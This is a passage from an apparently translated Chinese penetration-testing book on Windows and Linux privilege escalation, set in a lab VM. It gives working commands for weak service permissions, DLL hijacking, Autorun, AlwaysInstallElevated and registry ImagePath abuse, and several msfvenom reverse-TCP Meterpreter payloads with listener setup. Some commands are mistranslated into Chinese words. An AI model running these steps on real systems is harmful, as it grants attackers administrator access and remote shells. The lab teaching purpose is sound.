如以下截图所示，命令将输出有关服务及其参数的信息：

](Images/B17389_08_016.jpg)

图 8.16 – 服务参数
我们可以修改BINARY_PATH_NAME以执行任意命令。在我们的案例中，我们将把vagrant用户添加到本地管理员组。这可以通过运行以下命令来实现：

sc config "OpenSSHd" binPath= "net localgroup administrators vagrant /add"

如以下截图所示，如果操作成功执行，vagrant用户账户将被添加到本地管理员组，并应具备管理员权限：

](Images/B17389_08_017.jpg)

图 8.17 – 修改二进制路径
在修改二进制路径参数后，我们需要重新启动 OpenSSH 服务。这可以通过在 Windows 命令行中运行以下命令来完成：

sc stop OpenSSHd

sc start OpenSSHd
我们可以通过在 Windows 命令行中运行以下命令来验证vagrant用户账户是否已添加到本地管理员组：

net localgroup administrators

如以下截图所示，vagrant用户账户现在是本地管理员组的成员，并且具有管理员权限：

](Images/B17389_08_018.jpg)

图 8.18 – 本地管理员组成员
这个过程也可以通过使用一个名为exploit/windows/local/service_permissions的 Metasploit 模块来自动化。我们可以通过在 Metasploit 控制台中运行以下命令来加载该模块：

use exploit/windows/local/service_permissions

加载模块后，我们需要配置模块选项。在本例中，我们需要设置默认的 payload、LHOST、LPORT 和会话 ID 选项，如以下截图所示：

图 8.19 – 服务权限模块选项
配置模块选项后，我们可以通过在 Metasploit 控制台中运行以下命令来启动模块：

run

如以下截图所示，如果模块运行成功，我们应该会收到一个具有提升权限的 Meterpreter 会话：

图 8.20 – 服务权限模块 Meterpreter 会话
我们可以通过运行以下命令来验证我们是否拥有提升权限的 Meterpreter 会话：

getuid

如以下截图所示，我们已经成功提升了权限，并且应该拥有一个具有管理员权限的 Meterpreter 会话：

图 8.21 – 服务权限 Meterpreter 权限

我们已经能够通过手动和自动方式成功提升权限，利用了弱服务权限。

现在我们可以来看一下 DLL 劫持的过程以及如何利用它来提升我们的权限。

DLL 劫持

Windows DLLs 是在应用程序或服务启动时使用或调用的库。如果应用程序或服务无法找到所需的 DLL，我们可以强制应用程序或服务加载我们自己的 DLL，该 DLL 将运行任意命令以提升我们的权限。

为了使此过程有效，我们必须首先找到一个以 SYSTEM 权限运行的应用程序，并且该应用程序必须具有允许我们上传自定义 DLL 的适当路径权限。

应用程序可以从 Windows 上的不同路径加载 DLL，通常会遵循以下顺序：

应用程序路径或目录
C:\Windows\System32
C:\Windows\System
C:\Windows
C:\Program Files
PATH 环境变量

我们还可以在没有定义路径的应用程序或服务的 DLL 上执行 DLL 劫持。以下代码片段是一个绝对路径的示例：

PATH = C:\Windows\System32\example.dll

如前面的代码片段所示，DLL 的路径已被指定，因此应用程序或服务知道准确的 DLL 位置。以下代码片段是一个没有定义路径的应用程序或服务 DLL 路径的示例，这可以被利用：

PATH = example.dll

为了理解这个过程，让我们看一个场景，详细解释并演示整个过程。

设置我们的环境

在本节中，我们将使用在本书第二章《设置我们的实验室》中设置的 Windows 7 SP1 虚拟机。我们还将设置一个易受攻击的服务，用于演示 DLL 劫持过程。

要开始设置环境，请按照以下步骤操作：

该过程的第一步是下载并运行一个 Windows 批处理脚本，在 Windows 7 虚拟机上执行。脚本可以从以下链接下载：raw.githubusercontent.com/sagishahar/lpeworkshop/master/lpe_windows_setup.bat。

这个脚本将负责设置将在本章演示中使用的各种易受攻击服务。
下载批处理脚本后，您需要以管理员权限执行它，具体操作请参见以下截图：

图 8.22 – 设置脚本执行选项
执行脚本后，它将开始设置我们将在本节中使用的各种易受攻击的服务。设置过程完成后，系统将提示您重新启动，如下图所示：

图 8.23 – 设置脚本完成
系统重启后，我们需要启动易受攻击的 DLL 服务。可以通过在目标虚拟机的 Windows 命令提示符下运行以下命令来完成：

sc start dllsvc

如下图所示，如果初始设置过程顺利执行，服务应能无误地启动：

图 8.24 – 启动易受攻击的 DLL 服务

启动dllsrv服务后，我们的易受攻击服务应已启动并运行，我们可以进入利用阶段。

DLL 利用过程

现在，我们已经将目标系统配置为具有各种易受攻击的服务，可以开始 DLL 劫持过程。

在我们开始演示之前，请确保您已经在目标系统上建立了初步的立足点：

利用阶段的第一步是识别缺少 DLL 的应用程序或服务。可以通过我们在本书第四章《执行本地枚举》中使用的winPEAS枚举工具来完成此操作。

winPEAS 二进制文件可以从 GitHub 仓库下载，链接如下：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe。

确保根据目标操作系统的架构下载正确的二进制文件；架构特定的二进制文件可以在 binaries 文件夹中找到，如以下截图所示：

图 8.25 – winPEAS 二进制文件
下载二进制文件到我们的 Kali 虚拟机后，我们需要将 winPEAS.exe 二进制文件传输到目标虚拟机。

我们可以通过运行以下命令，通过 Meterpreter 将 winPEAS.exe 二进制文件传输到目标系统：

upload /<PATH-To-BINARY>/winPEASx64.exe

如果你使用的是标准命令行，可以使用 certutil 工具将二进制文件传输到目标系统。
将 winPEAS.exe 二进制文件上传到目标系统后，我们可以通过运行以下命令列出缺少 DLL 的服务：

.\winPEASx64.exe servicesinfo

如以下截图所示，这将列出缺少 DLL 的服务及其相应路径。在我们的例子中，我们能够识别出具有必要权限的 dllsvc 服务的应用程序路径：

图 8.26 – winPEAS DLL 劫持路径

我们还能够识别出易受攻击的 DLL 劫持服务，如以下截图所示：

图 8.27 – winPEAS DLL 劫持服务
我们还可以手动识别 dllhijackservice.exe 的缺失 DLL。这可以通过进程监视器工具完成，可以在此处下载：docs.microsoft.com/en-us/sysinternals/downloads/procmon。
下载进程监视器可执行文件到目标系统后，我们可以执行它并设置以下截图中突出的过滤器选项：

图 8.28 – 进程监视器结果过滤器
设置结果过滤器为 NAME NOT FOUND 后，我们需要设置一个额外的路径过滤器，仅显示 .dll 文件，如以下截图所示：

图 8.29 – 进程监视器路径过滤器
在添加了两个过滤器之后，您的过滤器配置应类似于以下截图中的配置：

图 8.30 – 进程监视器过滤器

设置好过滤器后，可以通过点击 Apply 按钮应用过滤器，如前面的截图所示。

这些过滤器将仅显示缺失 DLL 的服务及其相应的 DLL 名称。在这种情况下，我们可以识别出易受攻击的服务以及缺失的 DLL 名称及其相应的路径，如以下截图所示：

图 8.31 – 进程监视器缺失 DLL

现在我们可以生成我们的自定义 DLL，当执行时，它将为我们提供一个 Meterpreter 会话。
我们可以使用 msfvenom 生成自定义 DLL，并通过在 Kali 中运行以下命令来使用 Meterpreter 有效载荷：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=PORT -f dll > hijackme.dll

我们将保存自定义 DLL 文件，命名为缺失 DLL 的名称，用于 dllhijackservice.exe 服务。对于我们的情况，我们将劫持 hijackme.dll DLL。
在生成自定义 DLL 后，我们可以将其传输到目标系统的相应服务路径中。对于我们的情况，路径将如下所示：

C:\Windows\System32\wbem

我们可以通过运行以下命令，使用 Meterpreter 上传自定义 DLL：

upload /PATH-TO-DLL/hijackme.dll

如下图所示，hijackme.dll 文件应该被上传到正确的路径：

图 8.32 – 上传自定义 DLL
现在我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成：

use /exploit/multi/handler
下一步是指定我们用 msfvenom 创建二进制文件时使用的有效载荷。可以通过运行以下命令来完成：

set payload /windows/x64/meterpreter/reverse_tcp

现在我们需要配置模块选项。在这种情况下，我们需要配置 LHOST 和 LPORT 选项，如下图所示：

图 8.33 – Meterpreter 监听器选项
在设置模块选项后，我们可以通过运行以下命令启动监听器：

run

监听器将监听来自我们使用 msfvenom 生成的有效载荷的任何传入连接。
为了执行自定义 DLL，我们需要重新启动 dllsvc 服务。可以通过在 Windows 命令行中运行以下命令来完成：

sc stop dllsvc

sc start dllsvc

如果你正确地跟随了迄今为止的步骤，你应该能在我们设置的监听器上接收到一个 Meterpreter 会话，如下所示：

图 8.34 – DLL 劫持 Meterpreter
我们可以通过运行以下命令验证我们是否已经获得了提升的 Meterpreter 会话：

getuid

如下图所示，我们已经成功提升了权限，应该拥有一个带有管理员权限的 Meterpreter 会话：

图 8.35 – getuid Meterpreter

我们通过识别缺失的 DLL 并生成一个自定义 DLL 来提升权限，从而获得了一个能够提供提升权限的 Meterpreter 会话。

总结

在本章中，我们首先了解了如何识别和利用未加引号的服务路径，以及如何利用它们执行恶意二进制文件以提升权限。我们还探索了如何手动和自动利用 Metasploit 框架进行 Windows 次级登录的漏洞利用。接着，我们了解了如何识别和利用弱服务权限，并通过深入探讨如何识别缺失的 DLL 文件以及执行 DLL 劫持的过程来结束本章。

在下一章中，我们将探索通过 Windows 注册表进行权限提升的过程。

第九章：通过 Windows 注册表进行权限提升

您现在应该已经掌握如何识别和执行一些最重要的 Windows 权限提升技术。然而，这个谜题的最后一块拼图依然存在：Windows 注册表。在本章中，我们将探讨如何通过利用 Windows 注册表中的配置错误和弱点来提升目标系统的权限。

我们将探索识别注册表中配置错误的过程，利用自动运行功能，利用注册表权限的薄弱环节，以及 AlwaysInstallElevated 功能来提升我们的权限。我们还将简要概述 Windows 注册表，以帮助理解其目的和功能。

在本章中，我们将涵盖以下主要主题：

理解 Windows 注册表
利用自动运行程序
利用 AlwaysInstallElevated 功能
利用弱注册表权限

技术要求

为了跟上本章的演示，您需要确保满足以下技术要求：

熟悉 Windows CMD 命令
熟悉 Windows 注册表

您可以在这里查看本章代码的实际应用：bit.ly/3oga2ji

理解 Windows 注册表

在深入本章的核心内容之前，我们必须对 Windows 注册表有一定的理解，知道它是做什么的，以及它如何工作。

这些信息将在本章后续部分中派上用场，并且在我们利用各种权限提升技术时，能提供一个更好的上下文，帮助我们了解正在做的事情以及我们希望实现的目标。

什么是 Windows 注册表？

简单来说，Windows 注册表是一个层次化的数据库，负责存储应用程序、硬件和 Windows 操作系统的配置、设置和值。在程序和应用程序的上下文中，注册表还用于存储与程序配置和操作相关的程序和应用程序数据。

由于 Windows 注册表的集中性质及其存储的数据，它是渗透测试人员在权限提升过程中主要的目标。这是因为它可以揭示操作系统配置和已安装程序的配置信息，这些配置可能暴露出 Windows 服务的潜在弱点，比如自动运行功能。

在第四章，执行本地枚举中，我们探讨了可以用来从注册表中提取重要和有用数据的各种枚举技术，主要涉及应用程序密码。然而，我们没有探讨枚举操作系统配置的过程，而这些配置可以用来利用服务和其他 Windows 特性。

在本章中，我们将探索在 Windows 注册表中识别操作系统配置错误的过程，以及如何利用这些错误来提升我们的权限。

注意

请注意，程序和应用程序并不要求将配置存储在 Windows 注册表中，它们可能选择将配置存储在程序安装目录中。在搜索程序和应用程序中的配置错误和漏洞时，必须记住这一点。

我们可以通过运行regedit.exe可执行文件来访问 Windows 注册表。可以通过 Windows 命令提示符或运行工具来完成，如下图所示：

图 9.1 – 启动 regedit.exe

注意

Windows 注册表编辑器（regedit.exe）是 Windows 内置的可执行文件，用于与 Windows 注册表交互，允许用户查看和编辑注册表条目。

如下图所示，Windows 注册表使用层级排序系统，根据功能和目的将数据分类为键和值：

图 9.2 – 注册表编辑器

Windows 注册表编辑器显示了包含各自值的各种键。现在，让我们来看看这些键和值是如何存储和分类的。

Windows 注册表如何存储数据

Windows 注册表在键/值系统下运行，其中条目以键和值对的形式存储其数据。

为了理解在 Windows 注册表中键和值如何工作，我们可以使用文件夹和文件的分类类比，其中键是文件夹，值是文件。

Windows 注册表编辑器显示了根键的分类列表，根键包含系统上的所有注册表值。下表提供了每个根键的描述、缩写以及它所存储的相应值的性质：

现在您了解了 Windows 注册表如何存储数据、各种根键以及它们存储的信息类型，我们可以开始探索识别 Windows 注册表中操作性配置错误的过程。

该过程是动态的，因此将依赖于目标配置和部署使用案例，主要是因为这一过程中涉及的技术将取决于特定服务的实现和配置。

考虑到该过程的强大性质和所使用的技术，我们将使用在第八章中配置的 Windows 7 虚拟机，利用服务。该虚拟机已配置了存在漏洞的服务和配置。

在我们开始之前，请确保您已在目标系统上占据了一定位置，并通过命令行或 Meterpreter 会话访问目标系统。

本章中使用的技术和工具将涉及利用本地 Windows 命令和特定 Meterpreter 模块来自动化过程的各个方面。

我们将首先看看如何识别和利用 Autorun 程序以提升我们的特权。

利用 Autorun 程序

Autorun 是 Windows 的一个功能，用于在系统启动期间自动启动应用程序和程序。

Autorun 是 AutoPlay 的一个伴随功能，通常用于自动启动特定程序的安装文件。这有助于在将安装介质插入系统时简化新软件的安装过程。

程序和软件可以配置为使用 Autorun 功能在系统启动时运行。

新版 Windows（如 Windows 10）默认情况下禁用了 Autorun 功能；但是，Microsoft 已经为用户提供了启用它的功能。此技术将需要在目标上启用 Autorun 功能。

通过识别已配置在系统启动时运行的程序以及可以由具有管理权限的用户运行的程序，我们可以通过 Autorun 来提升我们的特权。然后我们可以利用这些来提升我们的特权。

可以通过完成以下步骤执行此过程：

这个过程的第一步涉及识别目标系统上的 Autorun 应用程序。可以通过在 Windows 命令 shell 中运行以下命令来完成：

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

如下截图所示，这将显示一个 Autorun 应用程序列表：

图 9.3 – Windows 注册表 Autorun 程序
我们还可以使用 accesschk 实用程序识别已配置为 Autorun 的应用程序及其各自的权限。可以从这里下载 accesschk 可执行文件：docs.microsoft.com/en-us/sysinternals/downloads/accesschk。

将 accesschk 可执行文件下载到我们的 Kali 虚拟机后，我们需要将其传输到目标系统。可以通过 Meterpreter 运行以下命令完成：

upload /<PATH-TO-EXECUTABLE/accesschk64.exe

如果使用标准命令 shell，可以使用 certutil 实用程序将二进制文件传输到目标系统。

在将 accesschk.exe 二进制文件上传到目标系统后，我们可以通过在 Windows 命令 shell 中运行以下命令来枚举所有 Autorun 程序的列表：

.\accesschk64.exe -wvu "c:\Program Files\ Autorun Program"

如下截图所示，这将突出显示一个 Autorun 程序列表、它们的访问权限以及各自的目录：

注意

RW 表示组具有读写权限，因此可以更改程序目录的内容。

图 9.4 – accesschk Autorun 程序

如前面的截图所示，我们识别了program.exe可执行文件及其权限。在这种情况下，该可执行文件具有NT AUTHORITY \SYSTEM访问权限。我们可以利用这个程序通过替换可执行文件为 Meterpreter shell 可执行文件来提升我们的权限，当管理员登录时，Meterpreter shell 会自动执行，从而为我们提供一个提升的 Meterpreter 会话。

下一步将涉及生成反向 shell 可执行文件，并将其上传到目标系统。

注

这种权限提升技术要求管理员登录系统，才能执行 Autorun 程序。
我们可以使用msfvenom生成 Meterpreter 有效载荷并将其保存为可执行文件。这可以通过在 Kali 中运行以下命令来完成：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER-IP> LPORT=<PORT> -f exe > /home/kali/Desktop/program.exe

注

反向 shell 有效载荷应与我们试图利用的程序同名，并应上传到我们之前识别的、并在此处标明的相应服务路径。
生成有效载荷后，我们可以将其上传到目标系统的 Autorun 应用程序路径，该路径如下：

C:\Program Files\Autorun Program\
在上传 Meterpreter 有效载荷之前，我们需要重命名原始的二进制文件。然而，建议先备份原始二进制文件，以防万一过程未按预期执行。可以通过在 Meterpreter 会话中运行以下命令来重命名原始可执行文件：

mv program.exe program_backup.exe
现在，我们可以通过在 Meterpreter 会话中运行以下命令，将 Meterpreter 可执行文件上传到目标系统的 Autorun 程序目录：

upload /home/kali/Desktop/program.exe

如果你使用的是标准命令行 shell，你可以使用certutil工具将二进制文件传输到目标系统。

如以下截图所示，这将把 Meterpreter 可执行文件上传到Autorun Program目录：

](Images/B17389_09_005.jpg)

图 9.5 – 上传自定义 Autorun 程序
现在，我们需要使用 Metasploit 设置 Meterpreter 监听器。这可以通过在 Metasploit 控制台中运行以下命令来完成：

use /exploit/multi/handler
下一步是指定我们使用 MSFvenom 创建二进制文件时所用的有效载荷。可以通过运行以下命令来完成：

set payload /windows/x64/meterpreter/reverse_tcp

现在，我们需要配置模块选项。在这种情况下，我们需要配置LHOST和LPORT选项，如以下截图所示：

](Images/B17389_09_006.jpg)

图 9.6 – Meterpreter 负载选项
在设置模块选项后，我们可以通过运行以下命令启动监听器：

run

监听器将监听我们通过 MSFvenom 生成的负载发出的任何传入连接。
我们的自定义自动运行程序将在管理员下次登录时自动执行，之后我们应该会收到一个特权的 Meterpreter 会话，如下截图所示：

](Images/B17389_09_007.jpg)

图 9.7 – 自动运行 Meterpreter 会话

有了这个，我们成功地通过利用具有配置错误权限的自动运行程序提升了我们的权限。

利用 Always Install Elevated 功能

AlwaysInstallElevated 是一个 Windows 功能，它允许没有管理员权限的标准用户帐户以管理员权限安装打包为Microsoft Windows Installer（MSI）格式的软件。

我们可以利用这个配置通过生成一个自定义的 MSI 格式可执行文件来提升我们的权限。然后，我们可以使用msiexec工具执行该 MSI 可执行文件，从而获得提升的会话。

该功能在公司和组织中常常配置错误，主要是为了方便员工访问，或者管理员在设置工作站后错误地将其启用。无论哪种情况，这项技术都能让我们以相对简单的方式提升权限。

Always Install Elevated 功能配置在 Windows 注册表中，因此我们可以查询注册表以确定该功能是否启用，然后再开始权限提升过程。

让我们来看看如何使用 Metasploit 框架手动和自动执行此技术。

注意

如果目标系统未启用此功能，则此技术将无法工作。

要执行此技术，请按以下步骤操作：

第一步是确定目标系统是否启用了 AlwaysInstallElevated 功能。可以通过在 Windows 命令行中运行以下注册表查询来完成：

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如下截图所示，这将输出 AlwaysInstallElevated 功能的注册表配置及其值。如果以下截图中突出显示的值设置为0，则该功能被禁用；如果值设置为1，则该功能已启用：

](Images/B17389_09_008.jpg)

图 9.8 – 注册表查询 – AlwaysInstallElevated

在本例中，我们确定 AlwaysInstallElevated 功能已启用，因此可以利用该功能提升我们的权限。
过程中的第二步是使用 MSFvenom 生成自定义的 MSI 可执行文件。可以通过在 Kali 中运行以下命令来完成此操作：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=<PORT> -f msi > setup.msi
生成有效载荷后，我们可以将其上传到 Windows 临时目录，可以在以下位置找到它：

C:\Temp

现在，我们可以通过运行以下命令，使用 Meterpreter 将自定义 MSI 可执行文件上传到目标系统的临时目录：

upload /home/kali/Desktop/setup.msi

如果你正在使用标准命令行，可以使用certutil工具将二进制文件传输到目标系统。

如下图所示，这将把 Meterpreter 可执行文件上传到Autorun Program目录：

图 9.9 – Meterpreter – 上传自定义 MSI
现在，我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成此操作：

use /exploit/multi/handler
下一步是指定我们使用 MSFvenom 创建自定义 MSI 可执行文件时使用的有效载荷。可以通过运行以下命令来完成此操作：

set payload /windows/x64/meterpreter/reverse_tcp

现在，我们需要配置模块选项。在这种情况下，我们需要配置LHOST和LPORT选项，如下图所示：

图 9.10 – Meterpreter 有效载荷选项

在设置模块选项后，我们可以通过运行以下命令来启动监听器：

run

监听器将监听来自我们使用MSFvenom生成的自定义 MSI 可执行文件的任何传入连接。
下一步是通过msiexec工具执行自定义的 MSI 可执行文件。可以通过在 Windows 命令行中运行以下命令来完成此操作：

msiexec /quiet /qn /i C:/temp/setup.msi

如果成功，这将在我们的监听器上生成一个提升的 Meterpreter 会话，如下图所示：

图 9.11 – AlwaysInstallElevated Meterpreter 会话
此过程还将把当前的标准用户添加到本地管理员组中。我们可以通过在 Windows 命令行中运行以下命令来确认这一点：

net localgroup administrators

如下图所示，Win7用户已被添加到本地管理员组中，并且具有管理员权限：

图 9.12 – 本地管理员组成员

通过手动利用 AlwaysInstallElevated 功能，我们成功地提升了权限。

我们还可以通过使用 Metasploit 模块来自动化该过程：

通过运行以下命令加载模块：

使用 exploit/windows/local/always_install_elevated
加载模块后，您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 Meterpreter 会话的会话 ID。可以通过运行以下命令来完成：

设置 SESSION

如以下截图所示，SESSION 选项应反映您设置的会话 ID：

图 9.13 – Metasploit 模块选项
配置模块选项后，我们可以通过运行以下命令来运行该模块：

运行

如果漏洞利用成功，您应该会获得一个新的提升的 Meterpreter 会话，如以下截图所示：

图 9.14 – 提升的 Meterpreter 会话

通过此方式，我们成功利用 Windows 中的 AlwaysInstallElevated 功能，手动和自动地使用 Metasploit 提升了权限。

利用弱注册表权限

这种权限提升技术涉及使用标准用户帐户识别并修改服务的注册表值。在许多情况下，写入或修改 Windows 注册表的值仅限管理员权限。然而，您可能会遇到可以由标准用户帐户修改的服务。

我们可以利用这个漏洞，将服务的 ImagePath（应用程序路径）修改为自定义可执行文件的路径。这样，当服务重新启动时，我们就能获得提升的会话。

该技术只会在至少有一个或多个服务具有弱权限的系统上有效。

利用该漏洞进行攻击的过程可以通过以下步骤完成：

该过程的第一步是识别可以修改注册表值的服务列表。在这种情况下，我们可以使用 winPEAS 枚举工具枚举具有注册表值及其各自权限的服务列表。

可以从以下 GitHub 仓库下载 winPEAS 二进制文件：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe。

确保根据目标操作系统的架构下载正确的二进制文件；架构特定的二进制文件可以在 binaries 文件夹中找到，如以下截图所示：

图 9.15 – winPEAS 二进制文件

下载二进制文件到我们的 Kali 虚拟机后，我们需要将 winPEAS.exe 二进制文件传输到目标虚拟机。
我们可以通过运行以下命令，将 winPEAS.exe 二进制文件通过 Meterpreter 传输到目标系统：

上传 //winPEASx64.exe

如果使用的是标准命令行 shell，可以使用 certutil 工具将二进制文件传输到目标系统。
上传 winPEAS.exe 二进制文件到目标系统后，可以通过运行以下命令枚举服务注册表值列表：

.\winPEASx64.exe servicesinfo

如下图所示，这将列出可以修改的服务注册表值。在我们的案例中，可以识别出具有所需权限的 regsvc 服务：

图 9.16 – winPEAS 不安全的注册表服务

在这种情况下，我们可以修改服务并更改 ImagePath 为我们自定义 Meterpreter 可执行文件的路径。
过程中的第二步是使用MSFvenom生成自定义的 Meterpreter 可执行文件。可以通过在 Kali 中运行以下命令完成：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=<PORT> -f exe > shell.exe
生成可执行文件后，我们可以将其上传到 Windows 临时目录，位置如下：

C:\Temp
现在，我们可以通过 Meterpreter 将自定义可执行文件上传到目标的临时目录，方法是运行以下命令：

上传 /home/kali/Desktop/shell.exe

如果使用的是标准命令行 shell，可以使用 certutil 工具将二进制文件传输到目标系统。

如下图所示，这将把 Meterpreter 可执行文件上传到临时目录：

图 9.17 – Meterpreter – 上传自定义可执行文件
现在，我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成：

use /exploit/multi/handler
下一步是指定我们用来创建自定义可执行文件的有效载荷，使用MSFvenom来完成。可以通过运行以下命令来实现：

set payload /windows/x64/meterpreter/reverse_tcp

现在，我们需要配置模块选项。在这种情况下，我们需要配置 LHOST 和 LPORT 选项，如下图所示：

图 9.18 – Meterpreter 有效载荷选项
设置模块选项后，我们可以通过运行以下命令来启动监听器：

run

监听器将监听来自我们使用 MSFvenom 生成的自定义可执行文件的任何传入连接。
现在，我们可以修改目标注册表服务的 ImagePath 值，并将其设置为我们生成的自定义可执行文件的路径。可以通过在目标的 Windows 命令行中运行以下命令来完成：

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\regsvc" /t REG_EXPAND_SZ /v ImagePath /d "C:\Temp\shell.exe" /f

如果成功，新的值应该被写入。现在，服务将在下次启动或重启时执行我们的自定义可执行文件。
我们可以通过在 Windows 命令行中运行以下命令来启动服务：

sc start regsvc
服务现在将执行我们的自定义可执行文件，并在我们设置的监听器上提供提升权限的 Meterpreter 会话，如下图所示：

图 9.19 – 提升权限的 Meterpreter 会话

现在，你应该对如何识别 Windows 注册表中的配置错误有了清晰的理解，并且知道如何利用这些错误来提升你在目标系统上的权限。

总结

在本章中，我们了解了 Windows 注册表的工作原理以及它如何存储数据。接着，我们探索了如何识别和利用 Windows 中的 Autorun 功能来提升权限。我们还探讨了如何利用 Windows 中的 AlwaysInstallElevated 功能，通过手动或自动的方式（使用 Metasploit）提升权限。最后，我们了解了如何利用弱注册表服务权限进行攻击。

在下一章中，我们将通过探索识别和利用内核漏洞的过程，开始在 Linux 上进行权限提升过程。

第九章：第三节：Linux 特权升级

本节将介绍 Linux 上的特权升级过程。通过使用多种特权升级攻击向量、工具和技术，你将能够在目标系统上提升你的权限。

本节包含以下章节：

第十章，Linux 内核漏洞
第十一章，Linux 密码挖掘
第十二章，计划任务
第十三章，利用 SUID 二进制文件

第十章：Linux 内核漏洞

现在，你已经对如何在 Windows 系统上提升特权有了基本了解，我们可以开始探索如何在 Linux 系统上提升特权。本章中，我们将探索的第一个特权提升攻击向量是内核漏洞利用。

本章中，你将学习如何手动和自动地识别、传输和利用 Linux 上的内核漏洞。这个过程将与我们在第五章中探讨的 Windows 内核漏洞利用过程相类似，其中我们探讨了 Windows 上的内核漏洞利用过程。

我们将从了解 Linux 内核的工作原理以及如何通过使用本地枚举脚本识别 Linux 上的内核漏洞开始。之后，我们将探讨修改、编译和传输内核漏洞到目标系统的过程。

本章我们将讨论以下主要内容：

理解 Linux 内核
使用 Metasploit 进行内核漏洞利用
手动内核漏洞利用

技术要求

要跟随本章的演示，你需要确保你熟悉 Linux 终端命令。

你可以在这里查看本章的代码示例：bit.ly/3igFnys

理解 Linux 内核

你应该已经对内核的工作原理有了清晰的了解，因为我们在第五章中深入探讨了内核的结构、目的和功能。因此，本章我们只会关注 Linux 内核的结构及其工作原理。

Linux 内核是一个类 Unix 的开源、单体化和模块化的操作系统内核，最初由 Linus Torvalds 于 1991 年创建，后来成为 GNU 操作系统的主要内核。Linux 内核与 GNU 工具链的结合，促成了大量使用 Linux 内核的操作系统的发展，这些操作系统通常被称为 Linux 发行版。Linux 发行版是利用 Linux 内核，并将其与各种工具和实用程序配对，以满足特定用例或行业的操作系统。

与 Windows NT 类似，Linux 内核由两种主要的操作模式组成，这决定了对系统资源和硬件的访问：

用户空间：用户空间是一个不具特权的、隔离的内存区域，专门用于运行操作系统内核外的用户程序和服务。默认情况下，服务与内核隔离，因此其特权有限。
内核空间：内核空间是一个特权的、隔离的内存区域，用于运行内核。由于内核负责处理的进程和功能的性质，内核空间具有特权。

如下图所示，使用两种主要操作模式来隔离资源和硬件的访问：

图 10.1 – Linux 内核结构

用户空间的应用程序和服务可以通过使用系统调用与内核空间进行通信，如前面的图示所示。用户空间和内核空间之间的交互是通过 GNU C 库来实现的，因此，系统调用接口也承担着这一职能。

系统调用接口负责处理来自用户空间到内核的系统调用。

内核空间可以完全访问系统的硬件和资源，并负责管理系统服务以及来自用户空间的系统调用。

理解 Linux 内核漏洞利用过程

Linux 内核容易受到各种攻击，这些攻击可能导致漏洞利用或权限提升。在本章中，我们将主要关注如何正确识别并利用 Linux 内核中的漏洞来提升我们的权限。

考虑到内核在特权内核空间中运行，任何允许执行任意代码的内核漏洞将以特权状态运行，从而为我们提供一个提升的会话。

这个过程将采取双管齐下的方法，涵盖手动和自动利用内核漏洞的过程。

Linux 上的内核漏洞利用通常针对 Linux 内核中的漏洞，以执行任意代码。这有助于运行特权系统命令或获得系统 shell。这个过程将根据目标 Linux 内核的版本和使用的内核漏洞利用方式有所不同。

在本章中，我们将需要在虚拟黑客实验室中设置一个 Ubuntu 16.04 目标虚拟机。

我们可以使用 Metasploit 框架开始内核漏洞利用过程，这将使我们能够自动化在 Windows 上识别和利用内核漏洞的过程。

设置我们的环境

在本章中，我们将使用一个经过定制的 Ubuntu 16.04 虚拟机，该虚拟机已被配置为存在漏洞。这将为我们提供一个强大的环境来学习和演示内核漏洞利用。

要开始设置虚拟机，请按照以下步骤操作：

该过程的第一步是下载用于通过 VirtualBox 设置目标系统的虚拟机文件。必要的文件可以从download.vulnhub.com/stapler/Stapler.zip下载。
下载 ZIP 文件后，您需要解压其内容。您将看到一个文件夹，其中包含开放虚拟化格式（OVF）和虚拟机磁盘（VMDK）文件，这些文件是运行虚拟机所必需的，如下图所示：

图 10.2 – 虚拟机文件
要将虚拟机导入 VirtualBox，您需要双击 Stapler.ovf 文件。您将看到 VirtualBox 导入向导，如下图所示：

图 10.3 – VirtualBox 导入向导

VirtualBox 导入向导将提示您指定虚拟机的基础文件夹，如前述截图所示。完成此操作后，您可以点击导入按钮开始导入过程。
一旦虚拟机已导入到 VirtualBox，您需要将其添加到我们在第二章中创建的 虚拟黑客实验室 网络，如以下截图所示：

图 10.4 – VirtualBox 网络设置

配置虚拟机使用自定义网络后，您可以保存更改并启动虚拟机以开始操作。

注意

您需要在系统中获得初步访问权限，以便跟随本章中的技术和演示。以下利用指南说明了如何在目标虚拟机上获取 meterpreter 会话：download.vulnhub.com/stapler/slides.pdf。

现在我们已经设置好环境和目标虚拟机，可以开始使用 Metasploit 进行权限提升过程。

使用 Metasploit 进行内核利用

我们可以通过查看如何使用 Metasploit 框架进行内核利用来开始内核利用过程。Metasploit 框架提供了自动化和模块化的解决方案，简化了利用过程。

在本节中，我们的目标系统将是 Ubuntu 16.04 虚拟机。作为前提条件，请确保您已在系统上获得初步的访问权限，并且拥有一个 meterpreter 会话：

第一项任务是扫描目标以寻找潜在的漏洞。为此，我们将使用 local_exploit_suggester 模块。此过程在前一章节中已经详细讨论过。
我们可以通过运行以下命令在 Metasploit 中加载模块：

使用 post/multi/recon/local_exploit_suggester
加载模块后，您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 meterpreter 会话的会话 ID。可以通过运行以下命令来完成：

设置 SESSION

如以下截图所示，SESSION 选项应显示您设置的会话 ID：

图 10.5 – local_exploit_suggester 选项
配置好模块选项后，我们可以通过运行以下命令来启动模块：

运行

这将开始扫描过程，在此过程中，模块将开始输出目标可能存在的各种漏洞，正如以下截图所示：

图 10.6 – local_exploit_suggester 结果
